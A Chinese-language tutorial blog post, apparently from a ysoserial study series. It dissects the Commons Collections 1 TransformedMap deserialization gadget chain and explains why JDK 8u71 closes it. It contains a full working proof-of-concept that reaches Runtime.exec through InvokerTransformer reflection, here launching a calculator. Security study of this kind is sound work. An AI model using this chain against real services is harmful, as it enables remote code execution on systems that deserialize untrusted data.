ysoserial学习之番外 - CommonsCollections1 transformedmap链

看完URLDNS之后再看CC链,,这尼玛简直就是一个天一个地。。前前后后大概看了三四天才能勉强说是理解了。然后又花了两天多来写这篇文章。。我感觉我尽力了,,不知道是不是因为我的思维方式还停留在php上,感觉java的文章真是有点难写。。。也许是我太想把每个流程调用都贴出来吧。。后面我会学习下大佬们都是怎么写java文的。。这篇文章就先将就着这样看吧,我尽力了555。。。


CommonsCollections。用于提供更好用的数据结构,方便开发快速进行代码开发。

由于这个链子不在 ysoserial 中,但这个系列的主题为 ysoserial,于是就把这个链子当作番外来命标题了。

环境

jdk < 8u71

maven

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc {

public static void transferMapTest() throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{Runtime.class,new Class[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"xcalc"}
)
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","x");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, outerMap);

//序列化payload
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();

//反序列化,触发漏洞点
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

public static void main(String[] args) throws Exception {
transferMapTest();
}
}

从POC中学漏洞,我们可以先去查手册,看看对应POC中的类、函数大概干什么的,然后调试跟一跟,看看变量和参数是何时被赋值,进行了什么判断,执行了什么操作。这样在脑海中编织一个大概的轮廓,也许能够有助于我们理解一个漏洞。

由于这是一个反序列化洞,反序列化类型的漏洞的POC都包含两个大块:

  1. gadgets - 利用链
  2. readObject() - 需要能够跳到gadgets

gadgets

从Poc中抽出 gadgets 的相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{Runtime.class,new Class[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"xcalc"}
)
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","x");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

这里用到的CC库的类有:Transformer、ConstantTransformer、InvokerTransformer、ChainedTransformer、TransformedMap。挨个分析,看Java就得坐的住。


Transformer

手册中定义如下:

public interface Transformer

用于将一个对象转换换成另一个对象。通常用于对象转换或从对象中解析数据


查看源码,只有一个方法 Object transform()

1
2
3
4
5
6
package org.apache.commons.collections;

public interface Transformer {
//用于对输入的Object进行处理,输出新的Object
Object transform(Object var1);
}

ConstantTransformer

手册中定义如下:

public class ConstantTransformer

extends Object

implements Transformer, Serializable

Transformer的实现类,任何时候只返回一个相同的“常量”


查看源码,列出和本漏洞相关的方法和属性(初初看的时候可以都大概瞄一瞄,这里为了篇幅和演示的原因就只列出和本漏洞相关的方法和属性了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.apache.commons.collections.functors;

public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//由于其实现了前文刚提到的 Transformer接口。
//可以留意一下其重写的transform()方法
public Object transform(Object input) {
return this.iConstant;
}
}

InvokerTransformer

手册中定义如下:

public class InvokerTransformer

extends Object

implements Transformer, Serializable

Transformer的实现类,通过反射创建一个新对象


查看源码,列出和本漏洞相关的方法和属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.apache.commons.collections.functors;

public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

//实现Transformer接口重写的transform()方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
.....
//如文档中所说,在这里进行了反射操作
//在反序列化中,类的成员都是我们可控的。所以这里的参数都是可控的
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
.....
}
}
}

ChainedTransformer

手册中定义如下:

public class ChainedTransformer

extends Object

implements Transformer, Serializable

Transformer的实现类。将指定的 Transformer 像链子一样串起来。

输入的Object会按顺序进入指定的Transformer,得到输出后将结果再传入到第二个Transformer中,以此类推。

(有点像 Linux的管道操作,前一个输出作为后一个的输入)


查看源码,列出和本漏洞相关的方法和属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.apache.commons.collections.functors;

public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

//实现Transformer接口重写的transform()方法
public Object transform(Object object) {
//如文档所说,遍历 this.iTransformers,依次调用对应transform()
for(int i = 0; i < this.iTransformers.length; ++i) {
//每次调用后都保存返回值,并作为下一次transform()的输入
object = this.iTransformers[i].transform(object);
}
return object;
}
}

TransformedMap

手册中定义如下:

public class TransformedMap

extends AbstractMapDecorator

implements Serializable

修饰Map,通过Transformer转换成对应类型。

TransformedMap的父类AbstractMapDecorator实现了Map接口。

TransformedMap重写了Map put()方法,TransformedMap父类AbstractInputCheckedMapDecorator重写了Map.MapEntry setValue()方法


查看源码,列出和本漏洞相关的方法和属性(不完全)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.apache.commons.collections.map;

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {

static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
}
=============================================
package org.apache.commons.collections.map;

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

//工厂方法,返回TransformedMap类实例
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
}

至此gadgets大致分析完毕,读者可以动手调试一下,加深理解。


总结一下

  1. InvokerTransformer类的 transform() 方法中存在可控的反射操作,这个操作就是这个链子的漏洞点。
  2. Poc中gadgets的最后调用了 TransformedMap.decorate(),该方法返回TransformedMap类实例。 TransformedMap类中 调用 指定类transform() 的操作只有 checkSetValue() , transformKey()transformValue() 方法中存在
  3. 根据 1. 和 2. 并结合Poc来进行推测:该Poc在试图调用到 TransformedMap.checkSetValue() , TransformedMap.transformKey() , TransformedMap.transformValue() 这三者之一来执行 InvokerTransformer.transform(),从而RCE。

分析gadgets

这一节我们仅分析 gadgets,目的是理解 gadgets 中如何触发到RCE的(这个漏洞的RCE点是 InvokerTransformer类的 transform() 方法)。所以我们先不找反序列化入口点,先手工调用 gadgets手工触发RCE,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{Runtime.class,new Class[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
//Runtime.exec() 执行的命令
new Object[]{"xcalc"}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","x");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//通过调用 TransformedMap.put() 来触发
outerMap.put("xx","tt");

简单画了个流程图,当然自己动手跟代码理解起来效果更好


关于 InvokerTransformer 反射调用的细节

估计大家都看到了,Poc中为了执行 xcalc命令,连续用了三次InvokerTransformer()才得解。为什么需要调用那么多次呢?

首先,我们得先了解下,.class.class.getClass()实例.getClass() 之间都有什么区别。我们可以使用如下代码来测试:

1
2
3
4
System.out.println(Runtime.class); //class java.lang.Runtime
System.out.println(Runtime.class.getClass()); //class java.lang.Class
System.out.println(Runtime.getRuntime().getClass()); //class java.lang.Runtime
System.out.println(Runtime.getRuntime().getClass().getClass()); //class java.lang.Class

了解完毕后回到漏洞上来,这是一个反序列化漏洞,Payload需要被序列化。若我们直接给 ConstantTransformer类传入 Runtime.getRuntime() ,会由于 Runtime 没有实现 Serializable 接口而在序列化时报错。

所以为了能够让 InvokerTransformer.transform() 反射 Runtime类。Poc中采取了折中的办法,这里将Poc和InvokerTransformer抽象成下面的代码,方便理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//获得一个Class对象
Class aClass = Runtime.class.getClass();
//这里的getMethod是为了和下文的 aClass1 打配合
Method getMethod = aClass.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object getRuntime = getMethod.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
//以上三行操作相当于:
//Method getRuntime1 = Runtime.class.getMethod("getRuntime");
System.out.println(getRuntime); //public static java.lang.Runtime java.lang.Runtime.getRuntime()
System.out.println(getRuntime.getClass()); //class java.lang.reflect.Method

Class aClass1 = getRuntime.getClass();
Method invoke = aClass1.getMethod("invoke", new Class[]{Object.class, Object[].class});
Object invoke1 = invoke.invoke(getRuntime, new Object[]{Runtime.class, new Object[0]});
//以上三行操作相当于:
//Object invoke3 = getRuntime.invoke(Runtime.class);
System.out.println(invoke1); //java.lang.Runtime@14ae5a5
System.out.println(invoke1.getClass()); //class java.lang.Runtime

Class aClass2 = invoke1.getClass();
Method exec = aClass2.getMethod("exec", new Class[]{String.class});
Object invoke2 = exec.invoke(invoke1, new Object[]{"xcalc"});

至此gadgets就分析完了,接下来开始寻找能够跳到 TransformedMap触发点 的反序列化入口点了。


readObject() - AnnotationInvocationHandler

gadgets这一节最后说,我们需要寻找调用入口点,找到能够调用 TransformedMap类方法的点。

根据Poc发现其序列化了 sun.reflect.annotation.AnnotationInvocationHandler类,并将 gadgets中最后一行经过 TransformedMap.decorate() 修饰的 Map outerMap 传入其构造方法中

1
2
3
4
5
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, outerMap);
....//对 o 进行序列化和反序列化操作

这个漏洞是一个反序列化漏洞,所以我们应当去瞄瞄 AnnotationInvocationHandler类的 readObject()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
}
.....
}

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

var2 = AnnotationType.getInstance(this.type);

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//调用了setValue()。
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}

readObject() 的流程,可分为两个并行分支:

  1. 调用到 TransformedMap 的代码 setValue(),他是如何调用到 TransformedMap 的?
  2. 进入 setValue()之前有一判断 if (var7 != null),如何确保一定能进入这个分支?

如何调用到TransformedMap

我们发现 readObject()方法 中和 setValue() 相关的类成员是 Map类型的memberValues。而Poc强制实例化 AnnotationInvocationHandler类 时就将 memberValues 设置为 TransformedMap类型的 outerMap了。所以 AnnotationInvocationHandler类 中对 var4、var5 的操作我们去到 TransformedMap类去看源码和调试即可。

TransformedMap 关系图如下(红圆点是关键类):

经过调试和代码追踪可了解到触发流程:


如何进入if判断

进入 if判断 的代码中,有几个重要的变量。具体这些变量是如何被赋值的就不详细写出来了,自行跟进一下代码就能知道。我也不想把一堆篇幅写在跟着代码跳来跳去上。这里仅说思路和流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//在Poc中,一些类成员已经被赋值:
//this.memberValues 为 TransformerMap
//this.type 为 Retention.class

//这里是注解的操作
AnnotationType var2 = AnnotationType.getInstance(this.type);
//获取注解中 所有方法 及其 返回值 的Map
Map var3 = var2.memberTypes();

//获取TransformerMap iterator
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();

//获取 TransformerMap 的key
String var6 = (String)var5.getKey();

//查看Retention是否有方法名为var6的方法
//Retention注解只有一个方法:RetentionPolicy value()
//所以var6必须为 "value" 才能顺利获得 var7
Class var7 = (Class)var3.get(var6);

if (var7 != null) {
Object var8 = var5.getValue();

//只要TransformerMap的value不是RetentionPolicy类型就没有问题
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue(.....);
}
}
}

总结一下这一节,其实这个if判断的思想是:只有Map的key值和注解的方法名一致,才会调用 setValue()


总结

CC1 TransformedMap 链的核心思路如下:

  1. InvokerTransformer.transform() 中存在可控的反射操作

  2. ChainedTransformer.transform()Transformer[] 遍历调用 transform(),为执行多段反射提供了可能

  3. 执行到 ChainedTransformer.transform() 的入口为:

    AbstractInputCheckedMapDecorator.MapEntry.setValue()

  4. 反序列化入口点 为 sun.reflect.annotation.AnnotationInvocationHandler.readObject(),该方法执行了 可控Map类型 类成员的 setValue() 操作

最后提一下,jdk >= 8u71 这条链子就失效了。这是因为 AnnotationInvocationHandler类的 readObject() 代码有变化。原本的 setValue() 没了。唯一有点希望的 var7.put(var10, var11) 结果 var7 是个新new的LinkedHashMap,不可控。所以就冇得了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
//var4就是反序列化时的属性 memberValues
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
//首先,var7是新new的一个LinkedHashMap(),不可控
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
//其次调用的是 AbstractInputCheckedMapDecorator.MapEntry.next()
Entry var9 = (Entry)var8.next();
//可惜这里getKey()并不能触发到 TransformedMap
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
//可惜这里getValue()也不能触发到 TransformedMap
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
......
}

Reference:

  1. Java Class Object
  2. 【代码审计】知识星球 - Java安全漫谈